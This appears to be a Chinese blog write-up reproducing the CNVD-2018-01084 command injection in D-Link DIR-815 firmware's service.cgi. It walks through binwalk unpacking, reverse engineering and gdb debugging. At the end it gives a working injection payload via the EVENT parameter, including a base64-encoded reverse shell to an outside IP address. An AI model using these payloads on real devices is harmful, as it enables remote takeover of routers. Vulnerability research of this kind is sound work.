CNVD-2018-01084 命令注入漏洞复现
| 0 | 前言
第一次摸到命令注入漏洞,和CNVD-2013-11625
有着相似的模式,过程非常轻松,已经学会了一点点逆向偷跑的小技巧
全程看着winmt大哥的记录复现的
官方报告: D-Link DIR 615/645/815 service.cgi远程命令执行漏洞
固件获取: 固件下载
| 1 | 前期准备
仍然使用binwlak
解包,目前还没遇到过加密的固件包,不过估计快了
1 | binwalk -e --preserve-symlinks DIR-815\ FW\ 1.01b14_1.01b14.bin |
| 2 | 文件逆向
进入main
函数,仍然是根据argv
进入不同的函数对报文进行处理,根据官方漏洞报告,找到servicecgi_main
请求处理如下,当请求方式为POST
或GET
时,程序不会报错,且POST
时v2=0x400
;GET
时v2=0x40
处理完请求方式后,进入cgibin_parse_request((int)sub_40A63C, 0, v2)
,这个函数我已经在CNVD-2013-11625
复现中实现了
先对URI
变量使用?
分割,然后将后半段使用=
与&
继续分割
最后数据被存储在堆中,堆指针被留在栈上(这是个重点)
然后调用sub_40A1C0
,以硬编码的字符串为参数,在这里可以猜测是对刚刚处理好的URI
进行比较
但具体比较的是哪段很难通过静态分析看出来
然后根据URI
的不同,将v12
赋值为不同的格式化字符串,最后调用lxmldbc_system
很明显的漏洞注入
,没有任何参数的过滤(除了&
因为分割原因被过滤)
现在的问题是lxmldbc_system
的参数我们不好观察(使用的栈上的数据,但是栈具体是什么样子我们不好看出来)
这时候就要使用动态调试
了
| 3 | 动态调试
运行以下shell
脚本
1 | /bin/sh |
然后在另一个shell
中使用gdb
连接1234
端口
分析sub_40A1C0
的功能
我们将断点打在strcmp
函数上,观察哪部分URI
被用来和硬编码的字符串进行比较
可以看到,bbb段被用来和EVENT
进行比较,确定由?
和=
中间的字段决定格式化字符串的模式
我们将脚本中的URI
变量修改为aaa?EVENT=ccc
对lxmldbc_system
参数的调试
我们同样将断点下在lxmldbc_system
上,观察参数
可以看到ccc
被格式化进入了字符串
最后把断点下在system
函数上,最终确定命令是可控的
命令注入分析
我们可以使用多种分割符号对system命令进行分割,这样可以处理掉无意义的字符串
最简单的分隔符就是;
此时我们将URI
设置为-E REQUEST_URI="aaa?EVENT=;echo hacking!!!;" \
再次调试,在system处发现
可以看到屏幕上成功被打印出
说明我们命令注入成功!
当然如果想扩大利用,我们可以弹一个shell
到其他端口
因为&
被过滤了,我们可以通过base64
加密解密+|
使用来间接注入反弹shell
命令
将URI
修改为-E REQUEST_URI="aaa?EVENT=;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTcuNjguMTAuOTYvMzY4ODEgMD4mMQ== | base64 -d | /bin/bash;"
将base64
编码的反弹shell
命令进行base64解密
,再通过传入/bin/bash
执行,成功弹出shell